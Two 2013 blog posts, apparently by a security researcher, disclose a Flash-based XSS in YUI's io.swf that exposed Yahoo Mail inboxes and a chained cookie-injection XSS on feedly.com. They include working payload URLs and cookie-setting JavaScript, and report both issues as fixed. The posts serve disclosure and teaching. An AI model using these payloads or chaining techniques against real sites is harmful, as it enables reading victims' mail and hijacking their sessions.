Saturday, June 8, 2013

Flash based XSS in Yahoo Mail

Summary:
I discovered a XSS vulnerability in IO Utility [1] of YUI library. In this post I explained the vulnerability and it's affect on Yahoo Mail.  

Details:
The ExternalInterface class in ActionScript is an application programming interface that enables communication between ActionScript and the SWF container. This class has a method named "call()" which invokes a JavaScript function if the container is a HTML page. It takes two parameters, the first one is the name of the JavaScript function to call and the other one is a string to pass to that JavaScript function. It is possible to execute malicious JavaScript in context of container if one of these parameters are attacker-controlled [2].

In IO Utility of YUI, io.swf (located at yui\build\io-xdr\io.swf) was vulnerable to XSS. As you can see in figure 1, yid and uid are derived from user input and then used as a parameter in ExternalInterface.call() without any validation. 
Figure 1 - Vulnerable code
By this vulnerability attacker could execute malicious JavaScript in context of io.swf container.

PoC:
http://localhost/io.swf?yid=\"%29%29;}catch%28e%29{alert%28document.domain%29;}//
Yahoo Mail was affected by this vulnerability because, io.swf was hosted at Yahoo mail main domain (fail!) and accessible from http://us-mg5.mail.yahoo.com/neo/ued/assets/flash/io.swf for logged in users.

Figure 2 - io.swf hosted in Yahoo Mail domain

How to exploit this issue:
Yahoo uses HTTPOnly flag for cookies so it's not possible to hijack cookies but as io.swf is hosted in context of us-mg[x].yahoo.com I was able to execute JavaScript in context of us-mg[x].yahoo.com. For example by sending below URL to a Yahoo Mail user it was possible to read his inbox.
http://us-mg5.mail.yahoo.com/neo/ued/assets/flash/io.swf?yid=\%22%29%29;}catch%28e%29{x=window.open('http://us-mg5.mail.yahoo.com/');setTimeout('alert(x.document.body.innerText)',4000)}//
In a future post I'll explain the exploitation of this type of vulnerabilities. 
PoC Video:

Fix:
June 6th, YUI 3.10.1 released which fixed this issue. Fix is based on a regular expression which validates the yid and uid value.
Figure 3 - Vulnerability fixed
Yahoo Security team response:
I was aware of this vulnerability for a long time but I didn't interested to report it to Yahoo Security because my past experiences shows that nothing more than a T-shirt could be achieved (they don't send it to Iran :P), even no credit for responsible disclosure when you report a vulnerability to Yahoo! 

However recently I sent an email and asked if they pay reward for responsible disclosure and they replied:
Figure 4 - Yahoo Security team response

References:
[1]http://yuilibrary.com/yui/docs/io/
[2]http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/external/ExternalInterface.html

Tuesday, April 30, 2013

Exploiting an unexploitable persistence DOM based XSS in feedly.com by using root domain cookies!

Summary:
I found a persistence DOM based XSS vulnerability in feedly.com website. As it was not possible to exploit it directly without altering the cookies, I called it an unexploitable vulnerability! However, I could exploit it by using another XSS vulnerability which was in s3 subdomain of feedly.com website. This post explains what I have done to exploit this issue.

DOM based XSS in feedly.com:
First I found a DOM based XSS in feedly.com. As you can see in below picture the source is a cookie (feedlyVersion) and the sink is document.write(). 

Figure 1 - Picture of vulnerable code
Normally we can't exploit this issue because it's not possible to control the value of 'feedlyVersion' cookie and this is a less severe issue.

But in this type of vulnerability if attacker can control a cookie in a victim’s browser, then it can be assumed that exploitation is similar to other vectors where an attacker controls aspects of a user request, like a querystring value, or an HTTP POST name-value pair [1]. So the only way to exploit this DOM based XSS was adding a new cookie with the same name as 'feedlyVersion' and our payload.

Flash based XSS in s3.feedly.com:
Then I tried to find another XSS vulnerability in feedly.com sub-domains. Quickly I found a vulnerable version of JWplayer [2] (http://s3.feedly.com/production/@@@/flash/player.swf) in s3.feedly.com. 

Figure 2 - Flash based XSS in s3.feedly.com
Figure 3 - s3.feedly.com befor adding new cookie
Through this vulnerability in s3.feedly.com subdomain It was possible to add a new cookie for *.feedly.com. 

Chaining these issues:
To successfully exploit this issue our new feedlyVersion cookie should be in front of original feedlyVersion in cookie string. I used the trick which Egor Homakov introduced in his "Hacking Github with Webkit" blogpost [3].

A) Set a new cookie with feedlyVersion name and our payload for *.feedly.com:
document.cookie="feedlyVersion='><script>prompt(document.domain)</script>;Domain=.feedly.com;Path=/;";
B) Moving our new feedlyVersion in front of the old one in cookie string:
x1=window.open('http://feedly.com/');x1.close();
C) Redirecting user to http://feedly.com to execute our payload:
location.href='http://feedly.com'
Finally putting all of them together:
http://s3.feedly.com/production/@@@/flash/player.swf?debug=function(){document.cookie="feedlyVersion='><script>prompt(document.domain)</script>;Domain=.feedly.com;Path=/;";x1=window.open('http://feedly.com/');x1.close();location.href='http://feedly.com'}
Figure 4 - feedly.com before adding new feedlyVersion cookie
Figure 5 - s3.feedly.com after adding feedlyVersion cookie (by attacker)
Figure 6 - feedly.com after adding new feedlyVersion cookie
Figure 7 - Attacker controlled cookie delivered to the sink

PoC Video:


Disclosure Timeline:
April 8, 2013: Details of the vulnerabilities sent to Feedly.
April 8, 2013: Received reply, "Will take a look at them today".
April 9, 2013: Received reply, "All issue have been fixed".

Kudos to the Feedly team for fixing issues very quickly.

References:
[1] http://media.blackhat.com/bh-ad-11/Lundeen/bh-ad-11-Lundeen-New_Ways_Hack_WebApp-WP.pdf
[2] http://www.wooyun.org/bugs/wooyun-2010-07166
[3] http://homakov.blogspot.com/2013/03/hacking-github-with-webkit.html